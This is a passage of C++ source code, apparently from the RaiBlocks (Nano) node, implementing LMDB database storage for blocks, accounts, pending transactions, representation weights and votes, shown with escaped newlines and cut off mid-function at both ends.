hash));\n\t\t\t\t\tblock_info.balance = balance;\n\t\t\t\t\tblock_info_put (transaction_a, hash, block_info);\n\t\t\t\t}\n\t\t\t\thash = block_successor (transaction_a, hash);\n\t\t\t\t++block_count;\n\t\t\t}\n\t\t}\n\t}\n\t//std::cerr << boost::str (boost::format (\"Database upgrade is completed\\n\"));\n}\n\nvoid rai::block_store::clear (MDB_dbi db_a)\n{\n\trai::transaction transaction (environment, nullptr, true);\n\tauto status (mdb_drop (transaction, db_a, 0));\n\tassert (status == 0);\n}\n\nnamespace\n{\n// Fill in our predecessors\nclass set_predecessor : public rai::block_visitor\n{\npublic:\n\tset_predecessor (MDB_txn * transaction_a, rai::block_store & store_a) :\n\ttransaction (transaction_a),\n\tstore (store_a)\n\t{\n\t}\n\tvoid fill_value (rai::block const & block_a)\n\t{\n\t\tauto hash (block_a.hash ());\n\t\trai::block_type type;\n\t\tauto value (store.block_get_raw (transaction, block_a.previous (), type));\n\t\tassert (value.mv_size != 0);\n\t\tstd::vector <uint8_t> data (static_cast <uint8_t *> (value.mv_data), static_cast <uint8_t *> (value.mv_data) + value.mv_size);\n\t\tstd::copy (hash.bytes.begin (), hash.bytes.end (), data.end () - hash.bytes.size ());\n\t\tstore.block_put_raw (transaction, store.block_database (type), block_a.previous (), rai::mdb_val (data.size (), data.data()));\n\t}\n\tvoid send_block (rai::send_block const & block_a) override\n\t{\n\t\tfill_value (block_a);\n\t}\n\tvoid receive_block (rai::receive_block const & block_a) override\n\t{\n\t\tfill_value (block_a);\n\t}\n\tvoid open_block (rai::open_block const & block_a) override\n\t{\n\t\t// Open blocks don't have a predecessor\n\t}\n\tvoid change_block (rai::change_block const & block_a) override\n\t{\n\t\tfill_value (block_a);\n\t}\n\tMDB_txn * transaction;\n\trai::block_store & store;\n};\n}\n\nMDB_dbi rai::block_store::block_database (rai::block_type type_a)\n{\n\tMDB_dbi result;\n\tswitch (type_a)\n\t{\n\t\tcase rai::block_type::send:\n\t\t\tresult = send_blocks;\n\t\t\tbreak;\n\t\tcase rai::block_type::receive:\n\t\t\tresult = receive_blocks;\n\t\t\tbreak;\n\t\tcase rai::block_type::open:\n\t\t\tresult = open_blocks;\n\t\t\tbreak;\n\t\tcase rai::block_type::change:\n\t\t\tresult = change_blocks;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tassert(false);\n\t\t\tbreak;\n\t}\n\treturn result;\n}\n\nvoid rai::block_store::block_put_raw (MDB_txn * transaction_a, MDB_dbi database_a, rai::block_hash const & hash_a, MDB_val value_a)\n{\n\tauto status2 (mdb_put (transaction_a, database_a, rai::mdb_val (hash_a), &value_a, 0));\n\tassert (status2 == 0);\n}\n\nvoid rai::block_store::block_put (MDB_txn * transaction_a, rai::block_hash const & hash_a, rai::block const & block_a, rai::block_hash const & successor_a)\n{\n\tassert (successor_a.is_zero () || block_exists (transaction_a, successor_a));\n\tstd::vector <uint8_t> vector;\n\t{\n\t\trai::vectorstream stream (vector);\n\t\tblock_a.serialize (stream);\n\t\trai::write (stream, successor_a.bytes);\n\t}\n\tblock_put_raw (transaction_a, block_database (block_a.type ()), hash_a, {vector.size (), vector.data ()});\n\tset_predecessor predecessor (transaction_a, *this);\n\tblock_a.visit (predecessor);\n\tassert (block_a.previous ().is_zero () || block_successor (transaction_a, block_a.previous ()) == hash_a);\n}\n\nMDB_val rai::block_store::block_get_raw (MDB_txn * transaction_a, rai::block_hash const & hash_a, rai::block_type & type_a)\n{\n\trai::mdb_val result;\n\tauto status (mdb_get (transaction_a, send_blocks, rai::mdb_val (hash_a), result));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\tif (status != 0)\n\t{\n\t\tauto status (mdb_get (transaction_a, receive_blocks, rai::mdb_val (hash_a), result));\n\t\tassert (status == 0 || status == MDB_NOTFOUND);\n\t\tif (status != 0)\n\t\t{\n\t\t\tauto status (mdb_get (transaction_a, open_blocks, rai::mdb_val (hash_a), result));\n\t\t\tassert (status == 0 || status == MDB_NOTFOUND);\n\t\t\tif (status != 0)\n\t\t\t{\n\t\t\t\tauto status (mdb_get (transaction_a, change_blocks, rai::mdb_val (hash_a), result));\n\t\t\t\tassert (status == 0 || status == MDB_NOTFOUND);\n\t\t\t\tif (status == 0)\n\t\t\t\t{\n\t\t\t\t\ttype_a = rai::block_type::change;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttype_a = rai::block_type::open;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttype_a = rai::block_type::receive;\n\t\t}\n\t}\n\telse\n\t{\n\t\ttype_a = rai::block_type::send;\n\t}\n\treturn result;\n}\n\nstd::unique_ptr <rai::block> rai::block_store::block_random (MDB_txn * transaction_a, MDB_dbi database)\n{\n\trai::block_hash hash;\n\trai::random_pool.GenerateBlock (hash.bytes.data (), hash.bytes.size ());\n\trai::store_iterator existing (transaction_a, database, rai::mdb_val (hash));\n\tif (existing == rai::store_iterator (nullptr))\n\t{\n\t\texisting = rai::store_iterator (transaction_a, database);\n\t}\n\tassert (existing != rai::store_iterator (nullptr));\n\treturn block_get (transaction_a, rai::block_hash (existing->first.uint256 ()));\n}\n\nstd::unique_ptr <rai::block> rai::block_store::block_random (MDB_txn * transaction_a)\n{\n\tauto count (block_count (transaction_a));\n\tauto region (rai::random_pool.GenerateWord32 (0, count.sum () - 1));\n\tstd::unique_ptr <rai::block> result;\n\tif (region < count.send)\n\t{\n\t\tresult = block_random (transaction_a, send_blocks);\n\t}\n\telse\n\t{\n\t\tregion -= count.send;\n\t\tif (region < count.receive)\n\t\t{\n\t\t\tresult = block_random (transaction_a, receive_blocks);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tregion -= count.receive;\n\t\t\tif (region < count.open)\n\t\t\t{\n\t\t\t\tresult = block_random (transaction_a, open_blocks);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// change\n\t\t\t\tresult = block_random (transaction_a, change_blocks);\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}\n\nrai::block_hash rai::block_store::block_successor (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\trai::block_type type;\n\tauto value (block_get_raw (transaction_a, hash_a, type));\n\trai::block_hash result;\n\tif (value.mv_size != 0)\n\t{\n\t\tassert (value.mv_size >= result.bytes.size ());\n\t\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (value.mv_data) + value.mv_size - result.bytes.size (), result.bytes.size ());\n\t\tauto error (rai::read (stream, result.bytes));\n\t\tassert (!error);\n\t}\n\telse\n\t{\n\t\tresult.clear ();\n\t}\n\treturn result;\n}\n\nvoid rai::block_store::block_successor_clear (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tauto block (block_get (transaction_a, hash_a));\n\tblock_put (transaction_a, hash_a, *block);\n}\n\nstd::unique_ptr <rai::block> rai::block_store::block_get (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\trai::block_type type;\n\tauto value (block_get_raw (transaction_a, hash_a, type));\n\tstd::unique_ptr <rai::block> result;\n\tif (value.mv_size != 0)\n\t{\n\t\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (value.mv_data), value.mv_size);\n\t\tresult = rai::deserialize_block (stream, type);\n\t\tassert (result != nullptr);\n\t}\n\treturn result;\n}\n\nvoid rai::block_store::block_del (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tauto status (mdb_del (transaction_a, send_blocks, rai::mdb_val (hash_a), nullptr));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\tif (status != 0)\n\t{\n\t\tauto status (mdb_del (transaction_a, receive_blocks, rai::mdb_val (hash_a), nullptr));\n\t\tassert (status == 0 || status == MDB_NOTFOUND);\n\t\tif (status != 0)\n\t\t{\n\t\t\tauto status (mdb_del (transaction_a, open_blocks, rai::mdb_val (hash_a), nullptr));\n\t\t\tassert (status == 0 || status == MDB_NOTFOUND);\n\t\t\tif (status != 0)\n\t\t\t{\n\t\t\t\tauto status (mdb_del (transaction_a, change_blocks, rai::mdb_val (hash_a), nullptr));\n\t\t\t\tassert (status == 0);\n\t\t\t}\n\t\t}\n\t}\n}\n\nbool rai::block_store::block_exists (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tauto result (true);\n\trai::mdb_val junk;\n\tauto status (mdb_get (transaction_a, send_blocks, rai::mdb_val (hash_a), junk));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\tresult = status == 0;\n\tif (!result)\n\t{\n\t\tauto status (mdb_get (transaction_a, receive_blocks, rai::mdb_val (hash_a), junk));\n\t\tassert (status == 0 || status == MDB_NOTFOUND);\n\t\tresult = status == 0;\n\t\tif (!result)\n\t\t{\n\t\t\tauto status (mdb_get (transaction_a, open_blocks, rai::mdb_val (hash_a), junk));\n\t\t\tassert (status == 0 || status == MDB_NOTFOUND);\n\t\t\tresult = status == 0;\n\t\t\tif (!result)\n\t\t\t{\n\t\t\t\tauto status (mdb_get (transaction_a, change_blocks, rai::mdb_val (hash_a), junk));\n\t\t\t\tassert (status == 0 || status == MDB_NOTFOUND);\n\t\t\t\tresult = status == 0;\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}\n\nrai::block_counts rai::block_store::block_count (MDB_txn * transaction_a)\n{\n\trai::block_counts result;\n\tMDB_stat send_stats;\n\tauto status1 (mdb_stat (transaction_a, send_blocks, &send_stats));\n\tassert (status1 == 0);\n\tMDB_stat receive_stats;\n\tauto status2 (mdb_stat (transaction_a, receive_blocks, &receive_stats));\n\tassert (status2 == 0);\n\tMDB_stat open_stats;\n\tauto status3 (mdb_stat (transaction_a, open_blocks, &open_stats));\n\tassert (status3 == 0);\n\tMDB_stat change_stats;\n\tauto status4 (mdb_stat (transaction_a, change_blocks, &change_stats));\n\tassert (status4 == 0);\n\tresult.send = send_stats.ms_entries;\n\tresult.receive = receive_stats.ms_entries;\n\tresult.open = open_stats.ms_entries;\n\tresult.change = change_stats.ms_entries;\n\treturn result;\n}\n\nvoid rai::block_store::account_del (MDB_txn * transaction_a, rai::account const & account_a)\n{\n\tauto status (mdb_del (transaction_a, accounts, rai::mdb_val (account_a), nullptr));\n    assert (status == 0);\n}\n\nbool rai::block_store::account_exists (MDB_txn * transaction_a, rai::account const & account_a)\n{\n\tauto iterator (latest_begin (transaction_a, account_a));\n\treturn iterator != rai::store_iterator (nullptr) && rai::account (iterator->first.uint256 ()) == account_a;\n}\n\nbool rai::block_store::account_get (MDB_txn * transaction_a, rai::account const & account_a, rai::account_info & info_a)\n{\n\trai::mdb_val value;\n\tauto status (mdb_get (transaction_a, accounts, rai::mdb_val (account_a), value));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\tbool result;\n\tif (status == MDB_NOTFOUND)\n\t{\n\t\tresult = true;\n\t}\n\telse\n\t{\n\t\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (value.data ()), value.size ());\n\t\tresult = info_a.deserialize (stream);\n\t\tassert (!result);\n\t}\n\treturn result;\n}\n\t\nvoid rai::block_store::frontier_put (MDB_txn * transaction_a, rai::block_hash const & block_a, rai::account const & account_a)\n{\n\tauto status (mdb_put (transaction_a, frontiers, rai::mdb_val (block_a), rai::mdb_val (account_a), 0));\n\tassert (status == 0);\n}\n\nrai::account rai::block_store::frontier_get (MDB_txn * transaction_a, rai::block_hash const & block_a)\n{\n\trai::mdb_val value;\n\tauto status (mdb_get (transaction_a, frontiers, rai::mdb_val (block_a), value));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\trai::account result (0);\n\tif (status == 0)\n\t{\n\t\tresult = value.uint256 ();\n\t}\n\treturn result;\n}\n\nvoid rai::block_store::frontier_del (MDB_txn * transaction_a, rai::block_hash const & block_a)\n{\n\tauto status (mdb_del (transaction_a, frontiers, rai::mdb_val (block_a), nullptr));\n\tassert (status == 0);\n}\n\nsize_t rai::block_store::frontier_count (MDB_txn * transaction_a)\n{\n\tMDB_stat frontier_stats;\n\tauto status (mdb_stat (transaction_a, frontiers, &frontier_stats));\n\tassert (status == 0);\n\tauto result (frontier_stats.ms_entries);\n\treturn result;\n}\n\nvoid rai::block_store::account_put (MDB_txn * transaction_a, rai::account const & account_a, rai::account_info const & info_a)\n{\n\tauto status (mdb_put (transaction_a, accounts, rai::mdb_val (account_a), info_a.val (), 0));\n    assert (status == 0);\n}\n\nvoid rai::block_store::pending_put (MDB_txn * transaction_a, rai::pending_key const & key_a, rai::pending_info const & pending_a)\n{\n\tauto status (mdb_put (transaction_a, pending, key_a.val (), pending_a.val (), 0));\n    assert (status == 0);\n}\n\nvoid rai::block_store::pending_del (MDB_txn * transaction_a, rai::pending_key const & key_a)\n{\n\tauto status (mdb_del (transaction_a, pending, key_a.val (), nullptr));\n    assert (status == 0);\n}\n\nbool rai::block_store::pending_exists (MDB_txn * transaction_a, rai::pending_key const & key_a)\n{\n\tauto iterator (pending_begin (transaction_a, key_a));\n\treturn iterator != rai::store_iterator (nullptr) && rai::pending_key (iterator->first) == key_a;\n}\n\nbool rai::block_store::pending_get (MDB_txn * transaction_a, rai::pending_key const & key_a, rai::pending_info & pending_a)\n{\n\trai::mdb_val value;\n\tauto status (mdb_get (transaction_a, pending, key_a.val (), value));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\tbool result;\n\tif (status == MDB_NOTFOUND)\n\t{\n\t\tresult = true;\n\t}\n\telse\n\t{\n\t\tresult = false;\n\t\tassert (value.size () == sizeof (pending_a.source.bytes) + sizeof (pending_a.amount.bytes));\n\t\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (value.data ()), value.size ());\n\t\tauto error1 (rai::read (stream, pending_a.source));\n\t\tassert (!error1);\n\t\tauto error2 (rai::read (stream, pending_a.amount));\n\t\tassert (!error2);\n\t}\n\treturn result;\n}\n\nrai::store_iterator rai::block_store::pending_begin (MDB_txn * transaction_a, rai::pending_key const & key_a)\n{\n\trai::store_iterator result (transaction_a, pending, key_a.val ());\n\treturn result;\n}\n\nrai::store_iterator rai::block_store::pending_begin (MDB_txn * transaction_a)\n{\n    rai::store_iterator result (transaction_a, pending);\n    return result;\n}\n\nrai::store_iterator rai::block_store::pending_end ()\n{\n    rai::store_iterator result (nullptr);\n    return result;\n}\n\nrai::pending_info::pending_info () :\nsource (0),\namount (0)\n{\n}\n\nrai::pending_info::pending_info (MDB_val const & val_a)\n{\n\tassert(val_a.mv_size == sizeof (*this));\n\tstatic_assert (sizeof (source) + sizeof (amount) == sizeof (*this), \"Packed class\");\n\tstd::copy (reinterpret_cast <uint8_t const *> (val_a.mv_data), reinterpret_cast <uint8_t const *> (val_a.mv_data) + sizeof (*this), reinterpret_cast <uint8_t *> (this));\n}\n\nrai::pending_info::pending_info (rai::account const & source_a, rai::amount const & amount_a) :\nsource (source_a),\namount (amount_a)\n{\n}\n\nvoid rai::pending_info::serialize (rai::stream & stream_a) const\n{\n    rai::write (stream_a, source.bytes);\n    rai::write (stream_a, amount.bytes);\n}\n\nbool rai::pending_info::deserialize (rai::stream & stream_a)\n{\n    auto result (rai::read (stream_a, source.bytes));\n    if (!result)\n    {\n        result = rai::read (stream_a, amount.bytes);\n    }\n    return result;\n}\n\nbool rai::pending_info::operator == (rai::pending_info const & other_a) const\n{\n    return source == other_a.source && amount == other_a.amount;\n}\n\nrai::mdb_val rai::pending_info::val () const\n{\n\treturn rai::mdb_val (sizeof (*this), const_cast <rai::pending_info *> (this));\n}\n\nrai::pending_key::pending_key (rai::account const & account_a, rai::block_hash const & hash_a) :\naccount (account_a),\nhash (hash_a)\n{\n}\n\nrai::pending_key::pending_key (MDB_val const & val_a)\n{\n\tassert(val_a.mv_size == sizeof (*this));\n\tstatic_assert (sizeof (account) + sizeof (hash) == sizeof (*this), \"Packed class\");\n\tstd::copy (reinterpret_cast <uint8_t const *> (val_a.mv_data), reinterpret_cast <uint8_t const *> (val_a.mv_data) + sizeof (*this), reinterpret_cast <uint8_t *> (this));\n}\n\nvoid rai::pending_key::serialize (rai::stream & stream_a) const\n{\n\trai::write (stream_a, account.bytes);\n\trai::write (stream_a, hash.bytes);\n}\n\nbool rai::pending_key::deserialize (rai::stream & stream_a)\n{\n\tauto result (rai::read (stream_a, account.bytes));\n\tif (!result)\n\t{\n\t\tresult = rai::read (stream_a, hash.bytes);\n\t}\n\treturn result;\n}\n\nbool rai::pending_key::operator == (rai::pending_key const & other_a) const\n{\n\treturn account == other_a.account && hash == other_a.hash;\n}\n\nrai::mdb_val rai::pending_key::val () const\n{\n\treturn rai::mdb_val (sizeof (*this), const_cast <rai::pending_key *> (this));\n}\n\nvoid rai::block_store::block_info_put (MDB_txn * transaction_a, rai::block_hash const & hash_a, rai::block_info const & block_info_a)\n{\n\tauto status (mdb_put (transaction_a, blocks_info, rai::mdb_val (hash_a), block_info_a.val (), 0));\n    assert (status == 0);\n}\n\nvoid rai::block_store::block_info_del (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tauto status (mdb_del (transaction_a, blocks_info, rai::mdb_val (hash_a), nullptr));\n\tassert (status == 0);\n}\n\nbool rai::block_store::block_info_exists (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tauto iterator (block_info_begin (transaction_a, hash_a));\n\treturn iterator != rai::store_iterator (nullptr) && rai::block_hash (iterator->first.uint256 ()) == hash_a;\n}\n\nbool rai::block_store::block_info_get (MDB_txn * transaction_a, rai::block_hash const & hash_a, rai::block_info & block_info_a)\n{\n\trai::mdb_val value;\n\tauto status (mdb_get (transaction_a, blocks_info, rai::mdb_val (hash_a), value));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\tbool result;\n\tif (status == MDB_NOTFOUND)\n\t{\n\t\tresult = true;\n\t}\n\telse\n\t{\n\t\tresult = false;\n\t\tassert (value.size () == sizeof (block_info_a.account.bytes) + sizeof (block_info_a.balance.bytes));\n\t\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (value.data ()), value.size ());\n\t\tauto error1 (rai::read (stream, block_info_a.account));\n\t\tassert (!error1);\n\t\tauto error2 (rai::read (stream, block_info_a.balance));\n\t\tassert (!error2);\n\t}\n\treturn result;\n}\n\nrai::store_iterator rai::block_store::block_info_begin (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\trai::store_iterator result (transaction_a, blocks_info, rai::mdb_val (hash_a));\n\treturn result;\n}\n\nrai::store_iterator rai::block_store::block_info_begin (MDB_txn * transaction_a)\n{\n    rai::store_iterator result (transaction_a, blocks_info);\n    return result;\n}\n\nrai::store_iterator rai::block_store::block_info_end ()\n{\n    rai::store_iterator result (nullptr);\n    return result;\n}\n\nrai::block_info::block_info () :\naccount (0),\nbalance (0)\n{\n}\n\nrai::block_info::block_info (MDB_val const & val_a)\n{\n\tassert(val_a.mv_size == sizeof (*this));\n\tstatic_assert (sizeof (account) + sizeof (balance) == sizeof (*this), \"Packed class\");\n\tstd::copy (reinterpret_cast <uint8_t const *> (val_a.mv_data), reinterpret_cast <uint8_t const *> (val_a.mv_data) + sizeof (*this), reinterpret_cast <uint8_t *> (this));\n}\n\nrai::block_info::block_info (rai::account const & account_a, rai::amount const & balance_a) :\naccount (account_a),\nbalance (balance_a)\n{\n}\n\nvoid rai::block_info::serialize (rai::stream & stream_a) const\n{\n\trai::write (stream_a, account.bytes);\n\trai::write (stream_a, balance.bytes);\n}\n\nbool rai::block_info::deserialize (rai::stream & stream_a)\n{\n    auto result (rai::read (stream_a, account.bytes));\n    if (!result)\n    {\n        result = rai::read (stream_a, balance.bytes);\n    }\n    return result;\n}\n\nbool rai::block_info::operator == (rai::block_info const & other_a) const\n{\n    return account == other_a.account && balance == other_a.balance;\n}\n\nrai::mdb_val rai::block_info::val () const\n{\n\treturn rai::mdb_val (sizeof (*this), const_cast <rai::block_info *> (this));\n}\n\nrai::uint128_t rai::block_store::representation_get (MDB_txn * transaction_a, rai::account const & account_a)\n{\n\trai::mdb_val value;\n\tauto status (mdb_get (transaction_a, representation, rai::mdb_val (account_a), value));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\trai::uint128_t result;\n\tif (status == 0)\n\t{\n\t\trai::uint128_union rep;\n\t\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (value.data ()), value.size ());\n\t\tauto error (rai::read (stream, rep));\n\t\tassert (!error);\n\t\tresult = rep.number ();\n\t}\n\telse\n\t{\n\t\tresult = 0;\n\t}\n\treturn result;\n}\n\nvoid rai::block_store::representation_put (MDB_txn * transaction_a, rai::account const & account_a, rai::uint128_t const & representation_a)\n{\n\trai::uint128_union rep (representation_a);\n\tauto status (mdb_put (transaction_a, representation, rai::mdb_val (account_a), rai::mdb_val (rep), 0));\n\tassert (status == 0);\n}\n\nrai::store_iterator rai::block_store::representation_begin (MDB_txn * transaction_a)\n{\n\trai::store_iterator result (transaction_a, representation);\n\treturn result;\n}\n\nrai::store_iterator rai::block_store::representation_end ()\n{\n\trai::store_iterator result(nullptr);\n\treturn result;\n}\n\nvoid rai::block_store::unchecked_clear (MDB_txn * transaction_a)\n{\n\tauto status (mdb_drop (transaction_a, unchecked, 0));\n\tassert (status == 0);\n}\n\nvoid rai::block_store::unchecked_put (MDB_txn * transaction_a, rai::block_hash const & hash_a, std::shared_ptr <rai::block> const & block_a)\n{\n\tstd::lock_guard <std::mutex> lock (cache_mutex);\n\tunchecked_cache.insert (std::make_pair (hash_a, block_a));\n}\n\nstd::vector <std::shared_ptr <rai::block>> rai::block_store::unchecked_get (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tstd::vector <std::shared_ptr <rai::block>> result;\n\t{\n\t\tstd::lock_guard <std::mutex> lock (cache_mutex);\n\t\tfor (auto i (unchecked_cache.find (hash_a)), n (unchecked_cache.end ()); i != n && i->first == hash_a; ++i)\n\t\t{\n\t\t\tresult.push_back (i->second);\n\t\t}\n\t}\n\tfor (auto i (unchecked_begin (transaction_a, hash_a)), n (unchecked_end ()); i != n && rai::block_hash (i->first.uint256 ()) == hash_a; i.next_dup ())\n\t{\n        rai::bufferstream stream (reinterpret_cast <uint8_t const *> (i->second.data ()), i->second.size());\n        result.push_back (rai::deserialize_block (stream));\n\t}\n\treturn result;\n}\n\nvoid rai::block_store::unchecked_del (MDB_txn * transaction_a, rai::block_hash const & hash_a, rai::block const & block_a)\n{\n\t{\n\t\tstd::lock_guard <std::mutex> lock (cache_mutex);\n\t\tfor (auto i (unchecked_cache.find (hash_a)), n (unchecked_cache.end ()); i != n && i->first == hash_a;)\n\t\t{\n\t\t\tif (*i->second == block_a)\n\t\t\t{\n\t\t\t\ti = unchecked_cache.erase (i);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t++i;\n\t\t\t}\n\t\t}\n\t}\n    std::vector <uint8_t> vector;\n    {\n        rai::vectorstream stream (vector);\n        rai::serialize_block (stream, block_a);\n    }\n\tauto status (mdb_del (transaction_a, unchecked, rai::mdb_val (hash_a), rai::mdb_val (vector.size (), vector.data ())));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n}\n\nrai::store_iterator rai::block_store::unchecked_begin (MDB_txn * transaction_a)\n{\n    rai::store_iterator result (transaction_a, unchecked);\n    return result;\n}\n\nrai::store_iterator rai::block_store::unchecked_begin (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\trai::store_iterator result (transaction_a, unchecked, rai::mdb_val (hash_a));\n\treturn result;\n}\n\nrai::store_iterator rai::block_store::unchecked_end ()\n{\n    rai::store_iterator result (nullptr);\n    return result;\n}\n\nsize_t rai::block_store::unchecked_count (MDB_txn * transaction_a)\n{\n\tMDB_stat unchecked_stats;\n\tauto status (mdb_stat (transaction_a, unchecked, &unchecked_stats));\n\tassert (status == 0);\n\tauto result (unchecked_stats.ms_entries);\n\treturn result;\n}\n\nvoid rai::block_store::unsynced_put (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tauto status (mdb_put (transaction_a, unsynced, rai::mdb_val (hash_a), rai::mdb_val (0, nullptr), 0));\n\tassert (status == 0);\n}\n\nvoid rai::block_store::unsynced_del (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tauto status (mdb_del (transaction_a, unsynced, rai::mdb_val (hash_a), nullptr));\n\tassert (status == 0);\n}\n\nbool rai::block_store::unsynced_exists (MDB_txn * transaction_a, rai::block_hash const & hash_a)\n{\n\tauto iterator (unsynced_begin (transaction_a, hash_a));\n\treturn iterator != rai::store_iterator (nullptr) && rai::block_hash (iterator->first.uint256 ()) == hash_a;\n}\n\nrai::store_iterator rai::block_store::unsynced_begin (MDB_txn * transaction_a)\n{\n    return rai::store_iterator (transaction_a, unsynced);\n}\n\nrai::store_iterator rai::block_store::unsynced_begin (MDB_txn * transaction_a, rai::uint256_union const & val_a)\n{\n\treturn rai::store_iterator (transaction_a, unsynced, rai::mdb_val (val_a));\n}\n\nrai::store_iterator rai::block_store::unsynced_end ()\n{\n\treturn rai::store_iterator (nullptr);\n}\n\nvoid rai::block_store::checksum_put (MDB_txn * transaction_a, uint64_t prefix, uint8_t mask, rai::uint256_union const & hash_a)\n{\n\tassert ((prefix & 0xff) == 0);\n\tuint64_t key (prefix | mask);\n\tauto status (mdb_put (transaction_a, checksum, rai::mdb_val (sizeof (key), &key), rai::mdb_val (hash_a), 0));\n\tassert (status == 0);\n}\n\nbool rai::block_store::checksum_get (MDB_txn * transaction_a, uint64_t prefix, uint8_t mask, rai::uint256_union & hash_a)\n{\n\tassert ((prefix & 0xff) == 0);\n\tuint64_t key (prefix | mask);\n\trai::mdb_val value;\n\tauto status (mdb_get (transaction_a, checksum, rai::mdb_val (sizeof (key), &key), value));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\tbool result;\n\tif (status == 0)\n\t{\n\t\tresult = false;\n\t\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (value.data ()), value.size ());\n\t\tauto error (rai::read (stream, hash_a));\n\t\tassert (!error);\n\t}\n\telse\n\t{\n\t\tresult = true;\n\t}\n\treturn result;\n}\n\nvoid rai::block_store::checksum_del (MDB_txn * transaction_a, uint64_t prefix, uint8_t mask)\n{\n\tassert ((prefix & 0xff) == 0);\n\tuint64_t key (prefix | mask);\n\tauto status (mdb_del (transaction_a, checksum, rai::mdb_val (sizeof (key), &key), nullptr));\n\tassert (status == 0);\n}\n\nvoid rai::block_store::flush (MDB_txn * transaction_a)\n{\n\tstd::unordered_map <rai::account, std::shared_ptr <rai::vote>> sequence_cache_l;\n\tstd::unordered_multimap <rai::block_hash, std::shared_ptr <rai::block>> unchecked_cache_l;\n\t{\n\t\tstd::lock_guard <std::mutex> lock (cache_mutex);\n\t\tsequence_cache_l.swap (vote_cache);\n\t\tunchecked_cache_l.swap (unchecked_cache);\n\t}\n\tfor (auto &i: unchecked_cache_l)\n\t{\n\t\tstd::vector <uint8_t> vector;\n\t\t{\n\t\t\trai::vectorstream stream (vector);\n\t\t\trai::serialize_block (stream, *i.second);\n\t\t}\n\t\tauto status (mdb_put (transaction_a, unchecked, rai::mdb_val (i.first), rai::mdb_val (vector.size (), vector.data ()), 0));\n\t\tassert (status == 0);\n\t}\n\tfor (auto i (sequence_cache_l.begin ()), n (sequence_cache_l.end ()); i != n; ++i)\n\t{\n\t\tstd::vector <uint8_t> vector;\n\t\t{\n\t\t\trai::vectorstream stream (vector);\n\t\t\ti->second->serialize (stream);\n\t\t}\n\t\tauto status1 (mdb_put (transaction_a, vote, rai::mdb_val (i->first), rai::mdb_val (vector.size (), vector.data ()), 0));\n\t\tassert (status1 == 0);\n\t}\n}\n\nrai::store_iterator rai::block_store::vote_begin (MDB_txn * transaction_a)\n{\n\treturn rai::store_iterator (transaction_a, vote);\n}\n\nrai::store_iterator rai::block_store::vote_end ()\n{\n\treturn rai::store_iterator (nullptr);\n}\n\nstd::shared_ptr <rai::vote> rai::block_store::vote_get (MDB_txn * transaction_a, rai::account const & account_a)\n{\n\tstd::shared_ptr <rai::vote> result;\n\trai::mdb_val value;\n\tauto status (mdb_get (transaction_a, vote, rai::mdb_val (account_a), value));\n\tassert (status == 0 || status == MDB_NOTFOUND);\n\tif (status == 0)\n\t{\n\t\tresult = std::make_shared <rai::vote> (value);\n\t\tassert (result != nullptr);\n\t}\n\treturn result;\n}\n\nstd::shared_ptr <rai::vote> rai::block_store::vote_current (MDB_txn * transaction_a, rai::account const & account_a)\n{\n\tassert (!cache_mutex.try_lock ());\n\tstd::shared_ptr <rai::vote> result;\n\tauto existing (vote_cache.find (account_a));\n\tif (existing != vote_cache.end ())\n\t{\n\t\tresult = existing->second;\n\t}\n\telse\n\t{\n\t\tresult = vote_get (transaction_a, account_a);\n\t}\n\treturn result;\n}\n\t\nstd::shared_ptr <rai::vote> rai::block_store::vote_generate (MDB_txn * transaction_a, rai::account const & account_a, rai::raw_key const & key_a, std::shared_ptr <rai::block> block_a)\n{\n\tstd::lock_guard <std::mutex> lock (cache_mutex);\n\tauto result (vote_current (transaction_a, account_a));\n\tuint64_t sequence ((result ? result->sequence : 0) + 1);\n\tresult = std::make_shared <rai::vote> (account_a, key_a, sequence, block_a);\n\tvote_cache [account_a] = result;\n\treturn result;\n}\n\nstd::shared_ptr <rai::vote> rai::block_store::vote_max (MDB_txn * transaction_a, std::shared_ptr <rai::vote> vote_a)\n{\n\tstd::lock_guard <std::mutex> lock (cache_mutex);\n\tauto current (vote_current (transaction_a, vote_a->account));\n\tauto result (vote_a);\n\tif (current != nullptr)\n\t{\n\t\tif (current->sequence > result->sequence)\n\t\t{\n\t\t\tresult = current;\n\t\t}\n\t}\n\tvote_cache [vote_a->account] = result;\n\treturn result;\n}\n\nrai::vote_result rai::block_store::vote_validate (MDB_txn * transaction_a, std::shared_ptr <rai::vote> vote_a)\n{\n\trai::vote_result result 